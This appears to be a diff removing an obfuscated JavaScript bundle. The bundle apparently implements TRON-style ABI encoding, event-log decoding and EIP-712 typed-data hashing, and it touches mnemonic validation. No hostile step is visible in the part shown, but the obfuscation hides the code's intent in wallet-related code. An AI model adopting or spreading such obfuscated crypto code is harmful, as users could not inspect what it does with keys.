- _0x413a2d(_0x410578, "unknown function", "fragment", _0x3eae5c);
- _0x3eae5c = _0x410578;
- }
- var _0x870c5f = "invalid length for result data";
- var _0x2e398c = _0x32958d(_0x46b594);
- if (_0x2e398c.length % 32 == 0) {
- try {
- return _0x46b89d(this, _0xb4c09c).decode(_0x3eae5c.outputs, _0x2e398c);
- } catch (_0x5a9f62) {
- _0x870c5f = "could not decode result data";
- }
- }
- _0x2b816d(false, _0x870c5f, "BAD_DATA", {
- value: _0x192257(_0x2e398c),
- info: {
- method: _0x3eae5c.name,
- signature: _0x3eae5c.format()
- }
- });
- }
- }, {
- key: "makeError",
- value: function (_0x12b3f7, _0x1be7d6) {
- var _0x3846dd = _0x2565f8(_0x12b3f7, "data");
- var _0x25d8be = _0x9f08ce.getBuiltinCallException("call", _0x1be7d6, _0x3846dd);
- if (_0x25d8be.message.startsWith("execution reverted (unknown custom error)")) {
- var _0x163f32 = _0x192257(_0x3846dd.slice(0, 4));
- var _0x35d4ca = this.getError(_0x163f32);
- if (_0x35d4ca) {
- try {
- var _0x43519a = _0x46b89d(this, _0xb4c09c).decode(_0x35d4ca.inputs, _0x3846dd.slice(4));
- _0x25d8be.revert = {
- name: _0x35d4ca.name,
- signature: _0x35d4ca.format(),
- args: _0x43519a
- };
- _0x25d8be.reason = _0x25d8be.revert.signature;
- _0x25d8be.message = "execution reverted: ".concat(_0x25d8be.reason);
- } catch (_0x2d0a9b) {
- _0x25d8be.message = "execution reverted (coult not decode custom error)";
- }
- }
- }
- var _0xa0f73f = this.parseTransaction(_0x1be7d6);
- _0xa0f73f && (_0x25d8be.invocation = {
- method: _0xa0f73f.name,
- signature: _0xa0f73f.signature,
- args: _0xa0f73f.args
- });
- return _0x25d8be;
- }
- }, {
- key: "encodeFunctionResult",
- value: function (_0x1119d2, _0x2df052) {
- if ("string" == typeof _0x1119d2) {
- var _0x301eb9 = this.getFunction(_0x1119d2);
- _0x413a2d(_0x301eb9, "unknown function", "fragment", _0x1119d2);
- _0x1119d2 = _0x301eb9;
- }
- return _0x192257(_0x46b89d(this, _0xb4c09c).encode(_0x1119d2.outputs, _0x2df052 || []));
- }
- }, {
- key: "encodeFilterTopics",
- value: function (_0x5d2631, _0x25d98c) {
- var _0x53c5a7 = this;
- if ("string" == typeof _0x5d2631) {
- var _0x43cd28 = this.getEvent(_0x5d2631);
- _0x413a2d(_0x43cd28, "unknown event", "eventFragment", _0x5d2631);
- _0x5d2631 = _0x43cd28;
- }
- _0x2b816d(_0x25d98c.length <= _0x5d2631.inputs.length, "too many arguments for ".concat(_0x5d2631.format()), "UNEXPECTED_ARGUMENT", {
- count: _0x25d98c.length,
- expectedCount: _0x5d2631.inputs.length
- });
- var _0x55d1a3 = [];
- _0x5d2631.anonymous || _0x55d1a3.push(_0x5d2631.topicHash);
- var _0x13d4aa = function (_0xedb848, _0x157d05) {
- return "string" === _0xedb848.type ? _0x261fa4(_0x157d05) : "bytes" === _0xedb848.type ? _0xa68238(_0x192257(_0x157d05)) : ("bool" === _0xedb848.type && "boolean" == typeof _0x157d05 && (_0x157d05 = _0x157d05 ? "0x01" : "0x00"), _0xedb848.type.match(/^u?int/) && (_0x157d05 = _0x4fc59d(_0x157d05)), "address" === _0xedb848.type && _0x46b89d(_0x53c5a7, _0xb4c09c).encode(["address"], [_0x157d05]), _0x8b1210(_0x192257(_0x157d05), 32));
- };
- for (_0x25d98c.forEach(function (_0x682130, _0x17c6c4) {
- var _0x1ee0b8 = _0x5d2631.inputs[_0x17c6c4];
- _0x1ee0b8.indexed ? null == _0x682130 ? _0x55d1a3.push(null) : "array" === _0x1ee0b8.baseType || "tuple" === _0x1ee0b8.baseType ? _0x413a2d(false, "filtering with tuples or arrays not supported", "contract." + _0x1ee0b8.name, _0x682130) : Array.isArray(_0x682130) ? _0x55d1a3.push(_0x682130.map(function (_0xdae653) {
- return _0x13d4aa(_0x1ee0b8, _0xdae653);
- })) : _0x55d1a3.push(_0x13d4aa(_0x1ee0b8, _0x682130)) : _0x413a2d(null == _0x682130, "cannot filter non-indexed parameters; must be null", "contract." + _0x1ee0b8.name, _0x682130);
- }); _0x55d1a3.length && null === _0x55d1a3[_0x55d1a3.length - 1];) {
- _0x55d1a3.pop();
- }
- return _0x55d1a3;
- }
- }, {
- key: "encodeEventLog",
- value: function (_0x588f3e, _0x40584d) {
- var _0xdeaaa2 = this;
- if ("string" == typeof _0x588f3e) {
- var _0x5e03ae = this.getEvent(_0x588f3e);
- _0x413a2d(_0x5e03ae, "unknown event", "eventFragment", _0x588f3e);
- _0x588f3e = _0x5e03ae;
- }
- var _0x551c72 = [];
- var _0x4524b8 = [];
- var _0x5d023e = [];
- _0x588f3e.anonymous || _0x551c72.push(_0x588f3e.topicHash);
- _0x413a2d(_0x40584d.length === _0x588f3e.inputs.length, "event arguments/values mismatch", "values", _0x40584d);
- _0x588f3e.inputs.forEach(function (_0x37ad7b, _0x4393f1) {
- var _0x153de8 = _0x40584d[_0x4393f1];
- if (_0x37ad7b.indexed) {
- if ("string" === _0x37ad7b.type) {
- _0x551c72.push(_0x261fa4(_0x153de8));
- } else {
- if ("bytes" === _0x37ad7b.type) {
- _0x551c72.push(_0xa68238(_0x153de8));
- } else {
- if ("tuple" === _0x37ad7b.baseType || "array" === _0x37ad7b.baseType) {
- throw new Error("not implemented");
- }
- _0x551c72.push(_0x46b89d(_0xdeaaa2, _0xb4c09c).encode([_0x37ad7b.type], [_0x153de8]));
- }
- }
- } else {
- _0x4524b8.push(_0x37ad7b);
- _0x5d023e.push(_0x153de8);
- }
- });
- return {
- data: _0x46b89d(this, _0xb4c09c).encode(_0x4524b8, _0x5d023e),
- topics: _0x551c72
- };
- }
- }, {
- key: "decodeEventLog",
- value: function (_0x997e9c, _0x4bcb2c, _0x3a688e) {
- if ("string" == typeof _0x997e9c) {
- var _0x3a8b8f = this.getEvent(_0x997e9c);
- _0x413a2d(_0x3a8b8f, "unknown event", "eventFragment", _0x997e9c);
- _0x997e9c = _0x3a8b8f;
- }
- if (null != _0x3a688e && !_0x997e9c.anonymous) {
- var _0x3a3fac = _0x997e9c.topicHash;
- _0x413a2d(_0x2c6f22(_0x3a688e[0], 32) && _0x3a688e[0].toLowerCase() === _0x3a3fac, "fragment/topic mismatch", "topics[0]", _0x3a688e[0]);
- _0x3a688e = _0x3a688e.slice(1);
- }
- var _0x363f0a = [];
- var _0x48a2c5 = [];
- var _0x4ab968 = [];
- _0x997e9c.inputs.forEach(function (_0x19fac1, _0x84bbbf) {
- _0x19fac1.indexed ? "string" === _0x19fac1.type || "bytes" === _0x19fac1.type || "tuple" === _0x19fac1.baseType || "array" === _0x19fac1.baseType ? (_0x363f0a.push(_0x26af2e.from({
- type: "bytes32",
- name: _0x19fac1.name
- })), _0x4ab968.push(true)) : (_0x363f0a.push(_0x19fac1), _0x4ab968.push(false)) : (_0x48a2c5.push(_0x19fac1), _0x4ab968.push(false));
- });
- var _0x57f367 = null != _0x3a688e ? _0x46b89d(this, _0xb4c09c).decode(_0x363f0a, _0x251cd2(_0x3a688e)) : null;
- var _0x348a2d = _0x46b89d(this, _0xb4c09c).decode(_0x48a2c5, _0x4bcb2c, true);
- var _0x14e954 = [];
- var _0x18497d = [];
- var _0x3c2c2e = 0;
- var _0x4423a0 = 0;
- _0x997e9c.inputs.forEach(function (_0x4a4961, _0x3924e0) {
- var _0x3eb584 = null;
- if (_0x4a4961.indexed) {
- if (null == _0x57f367) {
- _0x3eb584 = new _0x5a563d(null);
- } else {
- if (_0x4ab968[_0x3924e0]) {
- _0x3eb584 = new _0x5a563d(_0x57f367[_0x4423a0++]);
- } else {
- try {
- _0x3eb584 = _0x57f367[_0x4423a0++];
- } catch (_0x1383ee) {
- _0x3eb584 = _0x1383ee;
- }
- }
- }
- } else {
- try {
- _0x3eb584 = _0x348a2d[_0x3c2c2e++];
- } catch (_0x24439b) {
- _0x3eb584 = _0x24439b;
- }
- }
- _0x14e954.push(_0x3eb584);
- _0x18497d.push(_0x4a4961.name || null);
- });
- return _0x46f7ed.fromItems(_0x14e954, _0x18497d);
- }
- }, {
- key: "parseTransaction",
- value: function (_0x372fbe) {
- var _0x2ac254 = _0x2565f8(_0x372fbe.data, "tx.data");
- var _0x3f8c65 = _0x1d7273(null != _0x372fbe.value ? _0x372fbe.value : 0, "tx.value");
- var _0x4ed813 = this.getFunction(_0x192257(_0x2ac254.slice(0, 4)));
- if (!_0x4ed813) {
- return null;
- }
- var _0x33ba = _0x46b89d(this, _0xb4c09c).decode(_0x4ed813.inputs, _0x2ac254.slice(4));
- return new _0x466ffa(_0x4ed813, _0x4ed813.selector, _0x33ba, _0x3f8c65);
- }
- }, {
- key: "parseCallResult",
- value: function (_0x2936a9) {
- throw new Error("@TODO");
- }
- }, {
- key: "parseLog",
- value: function (_0x2cbfec) {
- var _0x14f875 = this.getEvent(_0x2cbfec.topics[0]);
- return !_0x14f875 || _0x14f875.anonymous ? null : new _0x452812(_0x14f875, _0x14f875.topicHash, this.decodeEventLog(_0x14f875, _0x2cbfec.data, _0x2cbfec.topics));
- }
- }, {
- key: "parseError",
- value: function (_0x323ba4) {
- var _0x1ac78d = _0x192257(_0x323ba4);
- var _0x33c1f8 = this.getError(_0x3ec258(_0x1ac78d, 0, 4));
- if (!_0x33c1f8) {
- return null;
- }
- var _0x3bd5ca = _0x46b89d(this, _0xb4c09c).decode(_0x33c1f8.inputs, _0x3ec258(_0x1ac78d, 4));
- return new _0x4b4173(_0x33c1f8, _0x33c1f8.selector, _0x3bd5ca);
- }
- }], [{
- key: "from",
- value: function (_0xc8b2c6) {
- return _0xc8b2c6 instanceof _0x31093d ? _0xc8b2c6 : "string" == typeof _0xc8b2c6 ? new _0x31093d(JSON.parse(_0xc8b2c6)) : "function" == typeof _0xc8b2c6.format ? new _0x31093d(_0xc8b2c6.format("json")) : new _0x31093d(_0xc8b2c6);
- }
- }]);
- return _0x31093d;
- }();
- function _0x49768c(_0x3a2a31, _0x529628, _0x17a970) {
- if (_0x2c6f22(_0x3a2a31)) {
- var _0x5e53aa;
- var _0x21ba30 = _0x3a2a31.toLowerCase();
- var _0xf025a6 = _0x365b47(_0x46b89d(this, _0x1e84a5).values());
- try {
- for (_0xf025a6.s(); !(_0x5e53aa = _0xf025a6.n()).done;) {
- var _0x1312ec = _0x5e53aa.value;
- if (_0x21ba30 === _0x1312ec.selector) {
- return _0x1312ec;
- }
- }
- } catch (_0x38ca43) {
- _0xf025a6.e(_0x38ca43);
- } finally {
- _0xf025a6.f();
- }
- return null;
- }
- if (-1 === _0x3a2a31.indexOf("(")) {
- var _0x37c626;
- var _0x16360e = [];
- var _0x3e3961 = _0x365b47(_0x46b89d(this, _0x1e84a5));
- try {
- for (_0x3e3961.s(); !(_0x37c626 = _0x3e3961.n()).done;) {
- var _0x2a8918 = _0x19dc48(_0x37c626.value, 2);
- var _0x4cf609 = _0x2a8918[0];
- var _0x36e514 = _0x2a8918[1];
- _0x4cf609.split("(")[0] === _0x3a2a31 && _0x16360e.push(_0x36e514);
- }
- } catch (_0xe5f488) {
- _0x3e3961.e(_0xe5f488);
- } finally {
- _0x3e3961.f();
- }
- if (_0x529628) {
- var _0x561304 = _0x529628.length > 0 ? _0x529628[_0x529628.length - 1] : null;
- var _0x546557 = _0x529628.length;
- var _0x433e51 = true;
- _0x56dfcc.isTyped(_0x561304) && "overrides" === _0x561304.type && (_0x433e51 = false, _0x546557--);
- for (var _0x1f7cfd = _0x16360e.length - 1; _0x1f7cfd >= 0; _0x1f7cfd--) {
- var _0x17863f = _0x16360e[_0x1f7cfd].inputs.length;
- _0x17863f === _0x546557 || _0x433e51 && _0x17863f === _0x546557 - 1 || _0x16360e.splice(_0x1f7cfd, 1);
- }
- for (var _0x40965f = _0x16360e.length - 1; _0x40965f >= 0; _0x40965f--) {
- for (var _0x40b56e = _0x16360e[_0x40965f].inputs, _0x40724a = 0; _0x40724a < _0x529628.length; _0x40724a++) {
- if (_0x56dfcc.isTyped(_0x529628[_0x40724a])) {
- if (_0x40724a >= _0x40b56e.length) {
- if ("overrides" === _0x529628[_0x40724a].type) {
- continue;
- }
- _0x16360e.splice(_0x40965f, 1);
- break;
- }
- if (_0x529628[_0x40724a].type !== _0x40b56e[_0x40724a].baseType) {
- _0x16360e.splice(_0x40965f, 1);
- break;
- }
- }
- }
- }
- }
- if (1 === _0x16360e.length && _0x529628 && _0x529628.length !== _0x16360e[0].inputs.length) {
- var _0x1e7810 = _0x529628[_0x529628.length - 1];
- (null == _0x1e7810 || Array.isArray(_0x1e7810) || "object" !== _0x4dce66(_0x1e7810)) && _0x16360e.splice(0, 1);
- }
- if (0 === _0x16360e.length) {
- return null;
- }
- if (_0x16360e.length > 1 && _0x17a970) {
- var _0x566752 = _0x16360e.map(function (_0x49b519) {
- return JSON.stringify(_0x49b519.format());
- }).join(", ");
- _0x413a2d(false, "ambiguous function description (i.e. matches ".concat(_0x566752, ")"), "key", _0x3a2a31);
- }
- return _0x16360e[0];
- }
- return _0x46b89d(this, _0x1e84a5).get(_0xeb7e8b.from(_0x3a2a31).format()) || null;
- }
- function _0x6547f6(_0x34126f, _0x536cfc, _0x4b4b3b) {
- if (_0x2c6f22(_0x34126f)) {
- var _0x20a707;
- var _0x17f799 = _0x34126f.toLowerCase();
- var _0x36d188 = _0x365b47(_0x46b89d(this, _0x4ed12f).values());
- try {
- for (_0x36d188.s(); !(_0x20a707 = _0x36d188.n()).done;) {
- var _0xbcb027 = _0x20a707.value;
- if (_0x17f799 === _0xbcb027.topicHash) {
- return _0xbcb027;
- }
- }
- } catch (_0x3e127d) {
- _0x36d188.e(_0x3e127d);
- } finally {
- _0x36d188.f();
- }
- return null;
- }
- if (-1 === _0x34126f.indexOf("(")) {
- var _0x1f73e6;
- var _0x546bae = [];
- var _0x3ac8a8 = _0x365b47(_0x46b89d(this, _0x4ed12f));
- try {
- for (_0x3ac8a8.s(); !(_0x1f73e6 = _0x3ac8a8.n()).done;) {
- var _0xd4cf70 = _0x19dc48(_0x1f73e6.value, 2);
- var _0x453970 = _0xd4cf70[0];
- var _0x52b4a2 = _0xd4cf70[1];
- _0x453970.split("(")[0] === _0x34126f && _0x546bae.push(_0x52b4a2);
- }
- } catch (_0x4d93b8) {
- _0x3ac8a8.e(_0x4d93b8);
- } finally {
- _0x3ac8a8.f();
- }
- if (_0x536cfc) {
- for (var _0x2b8bb6 = _0x546bae.length - 1; _0x2b8bb6 >= 0; _0x2b8bb6--) {
- _0x546bae[_0x2b8bb6].inputs.length < _0x536cfc.length && _0x546bae.splice(_0x2b8bb6, 1);
- }
- for (var _0x2cc2e0 = _0x546bae.length - 1; _0x2cc2e0 >= 0; _0x2cc2e0--) {
- for (var _0x5b3e32 = _0x546bae[_0x2cc2e0].inputs, _0x45fc7f = 0; _0x45fc7f < _0x536cfc.length; _0x45fc7f++) {
- if (_0x56dfcc.isTyped(_0x536cfc[_0x45fc7f]) && _0x536cfc[_0x45fc7f].type !== _0x5b3e32[_0x45fc7f].baseType) {
- _0x546bae.splice(_0x2cc2e0, 1);
- break;
- }
- }
- }
- }
- if (0 === _0x546bae.length) {
- return null;
- }
- if (_0x546bae.length > 1 && _0x4b4b3b) {
- var _0xef819d = _0x546bae.map(function (_0x350ceb) {
- return JSON.stringify(_0x350ceb.format());
- }).join(", ");
- _0x413a2d(false, "ambiguous event description (i.e. matches ".concat(_0xef819d, ")"), "key", _0x34126f);
- }
- return _0x546bae[0];
- }
- return _0x46b89d(this, _0x4ed12f).get(_0x121af8.from(_0x34126f).format()) || null;
- }
- var _0x42998c = function (_0x4e7cbc) {
- return _0x47e1c0.from(_0x4e7cbc);
- };
- var _0x1d15e9 = function (_0x24ca17) {
- return _0x47e1c0.from(_0x24ca17).serialized;
- };
- var _0x1e06b0 = function (_0xd2dc9f) {
- return _0x2565f8(_0xd2dc9f);
- };
- var _0xa59fe9 = {
- sighash: "sighash",
- minimal: "minimal",
- full: "full",
- json: "json"
- };
- var _0x50c5d9 = _0x4be2c8.isValidMnemonic;
- function _0x4e0e3a(_0x194885, _0x45fada) {
- var _0x5393fe = "undefined" != typeof Symbol && _0x194885[Symbol.iterator] || _0x194885["@@iterator"];
- if (!_0x5393fe) {
- if (Array.isArray(_0x194885) || (_0x5393fe = function (_0x1599ba, _0x351ebf) {
- if (_0x1599ba) {
- if ("string" == typeof _0x1599ba) {
- return _0x214893(_0x1599ba, _0x351ebf);
- }
- var _0x371c5c = Object.prototype.toString.call(_0x1599ba).slice(8, -1);
- "Object" === _0x371c5c && _0x1599ba.constructor && (_0x371c5c = _0x1599ba.constructor.name);
- return "Map" === _0x371c5c || "Set" === _0x371c5c ? Array.from(_0x1599ba) : "Arguments" === _0x371c5c || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x371c5c) ? _0x214893(_0x1599ba, _0x351ebf) : undefined;
- }
- }(_0x194885)) || _0x45fada && _0x194885 && "number" == typeof _0x194885.length) {
- _0x5393fe && (_0x194885 = _0x5393fe);
- var _0x16b460 = 0;
- var _0x3d73d3 = function () {};
- return {
- s: _0x3d73d3,
- n: function () {
- return _0x16b460 >= _0x194885.length ? {
- done: true
- } : {
- done: false,
- value: _0x194885[_0x16b460++]
- };
- },
- e: function (_0x37d870) {
- throw _0x37d870;
- },
- f: _0x3d73d3
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x3a1d4a;
- var _0x172308 = true;
- var _0x6d3232 = false;
- return {
- s: function () {
- _0x5393fe = _0x5393fe.call(_0x194885);
- },
- n: function () {
- var _0xdf9cc3 = _0x5393fe.next();
- _0x172308 = _0xdf9cc3.done;
- return _0xdf9cc3;
- },
- e: function (_0x18f1c) {
- _0x6d3232 = true;
- _0x3a1d4a = _0x18f1c;
- },
- f: function () {
- try {
- _0x172308 || null == _0x5393fe.return || _0x5393fe.return();
- } finally {
- if (_0x6d3232) {
- throw _0x3a1d4a;
- }
- }
- }
- };
- }
- function _0x214893(_0x17e0a3, _0x4ed612) {
- (null == _0x4ed612 || _0x4ed612 > _0x17e0a3.length) && (_0x4ed612 = _0x17e0a3.length);
- for (var _0x3e6240 = 0, _0x35fbbb = new Array(_0x4ed612); _0x3e6240 < _0x4ed612; _0x3e6240++) {
- _0x35fbbb[_0x3e6240] = _0x17e0a3[_0x3e6240];
- }
- return _0x35fbbb;
- }
- function _0x38c184(_0x46562d, _0x129dfa, _0x4f7b9c) {
- _0x444673(_0x46562d, _0x129dfa);
- _0x129dfa.set(_0x46562d, _0x4f7b9c);
- }
- function _0x444673(_0x4659bb, _0x281fee) {
- if (_0x281fee.has(_0x4659bb)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- _0x49fe90.register(function (_0x82c22d, _0xf0e4a1, _0x325b47) {
- return _0x49fe90._(_0x82c22d, Buffer.from(_0xf0e4a1), Buffer.from(_0x325b47));
- });
- var _0x36068d = new Uint8Array(32);
- _0x36068d.fill(0);
- var _0x15fa0f = BigInt(-1);
- var _0xdcabc5 = BigInt(0);
- var _0x89214 = BigInt(1);
- var _0x2e6edc = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
- var _0x2e3f86 = _0x4fc59d(_0x89214, 32);
- var _0x5afa2e = _0x4fc59d(_0xdcabc5, 32);
- var _0x1cdbcf = {
- name: "string",
- version: "string",
- chainId: "uint256",
- verifyingContract: "address",
- salt: "bytes32"
- };
- var _0x2590f0 = ["name", "version", "chainId", "verifyingContract", "salt"];
- function _0x4ac84a(_0x2188fc) {
- return function (_0xcdfbe5) {
- _0x413a2d("string" == typeof _0xcdfbe5, "invalid domain value for ".concat(JSON.stringify(_0x2188fc)), "domain.".concat(_0x2188fc), _0xcdfbe5);
- return _0xcdfbe5;
- };
- }
- var _0x527508 = {
- name: _0x4ac84a("name"),
- version: _0x4ac84a("version"),
- chainId: function (_0x4f9d3e) {
- return _0x1d7273(_0x4f9d3e, "domain.chainId");
- },
- verifyingContract: function (_0x5305d0) {
- try {
- return (_0x44e373 = _0x5305d0, _0x2d34c8.address.toHex(_0x44e373)).toLowerCase();
- } catch (_0x1b8d1a) {}
- var _0x44e373;
- _0x413a2d(false, "invalid domain value \"verifyingContract\"", "domain.verifyingContract", _0x5305d0);
- },
- salt: function (_0x28816a) {
- var _0x21c179 = _0x2565f8(_0x28816a, "domain.salt");
- _0x413a2d(32 === _0x21c179.length, "invalid domain value \"salt\"", "domain.salt", _0x28816a);
- return _0x192257(_0x21c179);
- }
- };
- function _0x400184(_0x30196e) {
- var _0x3bc8d5 = _0x30196e.match(/^(u?)int(\d*)$/);
- if (_0x3bc8d5) {
- var _0x1900d3 = "" === _0x3bc8d5[1];
- var _0x587bb2 = parseInt(_0x3bc8d5[2] || "256");
- _0x413a2d(_0x587bb2 % 8 == 0 && 0 !== _0x587bb2 && _0x587bb2 <= 256 && (null == _0x3bc8d5[2] || _0x3bc8d5[2] === String(_0x587bb2)), "invalid numeric width", "type", _0x30196e);
- var _0x175636 = _0x869ea9(_0x2e6edc, _0x1900d3 ? _0x587bb2 - 1 : _0x587bb2);
- var _0xa57bbc = _0x1900d3 ? (_0x175636 + _0x89214) * _0x15fa0f : _0xdcabc5;
- return function (_0x7e2b2a) {
- var _0x117096 = _0x1d7273(_0x7e2b2a, "value");
- _0x413a2d(_0x117096 >= _0xa57bbc && _0x117096 <= _0x175636, "value out-of-bounds for ".concat(_0x30196e), "value", _0x117096);
- return _0x4fc59d(_0x1900d3 ? _0x4ed172(_0x117096, 256) : _0x117096, 32);
- };
- }
- var _0xc8575 = _0x30196e.match(/^bytes(\d+)$/);
- if (_0xc8575) {
- var _0x14294c = parseInt(_0xc8575[1]);
- _0x413a2d(0 !== _0x14294c && _0x14294c <= 32 && _0xc8575[1] === String(_0x14294c), "invalid bytes width", "type", _0x30196e);
- return function (_0xc2f5a0) {
- _0x413a2d(_0x2565f8(_0xc2f5a0).length === _0x14294c, "invalid length for ".concat(_0x30196e), "value", _0xc2f5a0);
- return function (_0x516bbf) {
- var _0x16e7b4 = _0x2565f8(_0x516bbf);
- var _0x2a6c07 = _0x16e7b4.length % 32;
- return _0x2a6c07 ? _0x251cd2([_0x16e7b4, _0x36068d.slice(_0x2a6c07)]) : _0x192257(_0x16e7b4);
- }(_0xc2f5a0);
- };
- }
- switch (_0x30196e) {
- case "trcToken":
- return _0x400184("uint256");
- case "address":
- return function (_0x297f58) {
- return _0x8b1210((_0x2de331 = _0x297f58, _0x2d34c8.address.toHex(_0x2de331).replace(_0x1b0abe, "0x")), 32);
- var _0x2de331;
- };
- case "bool":
- return function (_0x1b0c28) {
- return _0x1b0c28 ? _0x2e3f86 : _0x5afa2e;
- };
- case "bytes":
- return function (_0x136750) {
- return _0xa68238(_0x136750);
- };
- case "string":
- return function (_0x2eb1f1) {
- return _0x261fa4(_0x2eb1f1);
- };
- }
- return null;
- }
- function _0x1fb518(_0xc56509, _0x248183) {
- return "".concat(_0xc56509, "(").concat(_0x248183.map(function (_0x28dd8d) {
- var _0xa4cf80 = _0x28dd8d.name;
- return _0x28dd8d.type + " " + _0xa4cf80;
- }).join(","), ")");
- }
- var _0x314129 = new WeakMap();
- var _0x34b0f3 = new WeakMap();
- var _0x1a38aa = new WeakMap();
- var _0x412cd5 = new WeakSet();
- var _0x2fa62b = function () {
- function _0x1dead2(_0x50e587) {
- var _0x3d57d0;
- _0x1d998d(this, _0x1dead2);
- _0x444673(this, _0x3d57d0 = _0x412cd5);
- _0x3d57d0.add(this);
- _0x713ed3(this, "primaryType", undefined);
- _0x38c184(this, _0x314129, {
- writable: true,
- value: undefined
- });
- _0x38c184(this, _0x34b0f3, {
- writable: true,
- value: undefined
- });
- _0x38c184(this, _0x1a38aa, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0x314129, JSON.stringify(_0x50e587));
- _0x207f54(this, _0x34b0f3, new Map());
- _0x207f54(this, _0x1a38aa, new Map());
- var _0x30a293 = new Map();
- var _0x557b45 = new Map();
- var _0x3bb502 = new Map();
- for (var _0x52786b in Object.keys(_0x50e587).forEach(function (_0x35f6a2) {
- _0x30a293.set(_0x35f6a2, new Set());
- _0x557b45.set(_0x35f6a2, []);
- _0x3bb502.set(_0x35f6a2, new Set());
- }), _0x50e587) {
- var _0x4d60da;
- var _0xd0d502 = new Set();
- var _0x8c5651 = _0x4e0e3a(_0x50e587[_0x52786b]);
- try {
- for (_0x8c5651.s(); !(_0x4d60da = _0x8c5651.n()).done;) {
- var _0x30bf19 = _0x4d60da.value;
- _0x413a2d(!_0xd0d502.has(_0x30bf19.name), "duplicate variable name ".concat(JSON.stringify(_0x30bf19.name), " in ").concat(JSON.stringify(_0x52786b)), "types", _0x50e587);
- _0xd0d502.add(_0x30bf19.name);
- var _0x3c7611 = _0x30bf19.type.match(/^([^\x5b]*)(\x5b|$)/)[1] || null;
- _0x413a2d(_0x3c7611 !== _0x52786b, "circular type reference to ".concat(JSON.stringify(_0x3c7611)), "types", _0x50e587);
- _0x400184(_0x3c7611) || (_0x413a2d(_0x557b45.has(_0x3c7611), "unknown type ".concat(JSON.stringify(_0x3c7611)), "types", _0x50e587), _0x557b45.get(_0x3c7611).push(_0x52786b), _0x30a293.get(_0x52786b).add(_0x3c7611));
- }
- } catch (_0x125723) {
- _0x8c5651.e(_0x125723);
- } finally {
- _0x8c5651.f();
- }
- }
- var _0x1d627 = Array.from(_0x557b45.keys()).filter(function (_0xabf71d) {
- return 0 === _0x557b45.get(_0xabf71d).length;
- });
- _0x413a2d(0 !== _0x1d627.length, "missing primary type", "types", _0x50e587);
- _0x413a2d(1 === _0x1d627.length, "ambiguous primary types or unused types: ".concat(_0x1d627.map(function (_0x577d59) {
- return JSON.stringify(_0x577d59);
- }).join(", ")), "types", _0x50e587);
- _0x7e8dd6(this, {
- primaryType: _0x1d627[0]
- });
- (function _0x4143be(_0x48936d, _0x2771ad) {
- _0x413a2d(!_0x2771ad.has(_0x48936d), "circular type reference to ".concat(JSON.stringify(_0x48936d)), "types", _0x50e587);
- _0x2771ad.add(_0x48936d);
- var _0xc4ae9d;
- var _0x434cff = _0x4e0e3a(_0x30a293.get(_0x48936d));
- try {
- for (_0x434cff.s(); !(_0xc4ae9d = _0x434cff.n()).done;) {
- var _0x67afa6 = _0xc4ae9d.value;
- if (_0x557b45.has(_0x67afa6)) {
- _0x4143be(_0x67afa6, _0x2771ad);
- var _0x3709e1;
- var _0x5cc4f5 = _0x4e0e3a(_0x2771ad);
- try {
- for (_0x5cc4f5.s(); !(_0x3709e1 = _0x5cc4f5.n()).done;) {
- var _0xbc1e4b = _0x3709e1.value;
- _0x3bb502.get(_0xbc1e4b).add(_0x67afa6);
- }
- } catch (_0x5ecb5f) {
- _0x5cc4f5.e(_0x5ecb5f);
- } finally {
- _0x5cc4f5.f();
- }
- }
- }
- } catch (_0x14fc09) {
- _0x434cff.e(_0x14fc09);
- } finally {
- _0x434cff.f();
- }
- _0x2771ad.delete(_0x48936d);
- })(this.primaryType, new Set());
- var _0x3af340;
- var _0x1f92de = _0x4e0e3a(_0x3bb502);
- try {
- for (_0x1f92de.s(); !(_0x3af340 = _0x1f92de.n()).done;) {
- var _0x233a25 = _0x19dc48(_0x3af340.value, 2);
- var _0x15853c = _0x233a25[0];
- var _0x32a578 = _0x233a25[1];
- var _0x461a69 = Array.from(_0x32a578);
- _0x461a69.sort();
- _0x46b89d(this, _0x34b0f3).set(_0x15853c, _0x1fb518(_0x15853c, _0x50e587[_0x15853c]) + _0x461a69.map(function (_0x117cd7) {
- return _0x1fb518(_0x117cd7, _0x50e587[_0x117cd7]);
- }).join(""));
- }
- } catch (_0x506adf) {
- _0x1f92de.e(_0x506adf);
- } finally {
- _0x1f92de.f();
- }
- }
- _0x561e78(_0x1dead2, [{
- key: "types",
- get: function () {
- return JSON.parse(_0x46b89d(this, _0x314129));
- }
- }, {
- key: "getEncoder",
- value: function (_0x2572ce) {
- var _0x1cc746 = _0x46b89d(this, _0x1a38aa).get(_0x2572ce);
- _0x1cc746 || (_0x1cc746 = function (_0x3d01c2, _0x18096a, _0x471024) {
- if (!_0x18096a.has(_0x3d01c2)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x471024;
- }(this, _0x412cd5, _0xaf7d16).call(this, _0x2572ce), _0x46b89d(this, _0x1a38aa).set(_0x2572ce, _0x1cc746));
- return _0x1cc746;
- }
- }, {
- key: "encodeType",
- value: function (_0x48a736) {
- var _0x140ce9 = _0x46b89d(this, _0x34b0f3).get(_0x48a736);
- _0x413a2d(_0x140ce9, "unknown type: ".concat(JSON.stringify(_0x48a736)), "name", _0x48a736);
- return _0x140ce9;
- }
- }, {
- key: "encodeData",
- value: function (_0x3bdafb, _0xd9a85a) {
- return this.getEncoder(_0x3bdafb)(_0xd9a85a);
- }
- }, {
- key: "hashStruct",
- value: function (_0x230c67, _0x4d62b3) {
- return _0xa68238(this.encodeData(_0x230c67, _0x4d62b3));
- }
- }, {
- key: "encode",
- value: function (_0x5b70d5) {
- return this.encodeData(this.primaryType, _0x5b70d5);
- }
- }, {
- key: "hash",
- value: function (_0x1ffe7c) {
- return this.hashStruct(this.primaryType, _0x1ffe7c);
- }
- }, {
- key: "_visit",
- value: function (_0x3d427a, _0x5710f8, _0x4c0a4a) {
- var _0x319c70 = this;
- if (_0x400184(_0x3d427a)) {
- return _0x4c0a4a(_0x3d427a, _0x5710f8);
- }
- var _0x1cce95 = _0x3d427a.match(/^(.*)(\x5b(\d*)\x5d)$/);
- if (_0x1cce95) {
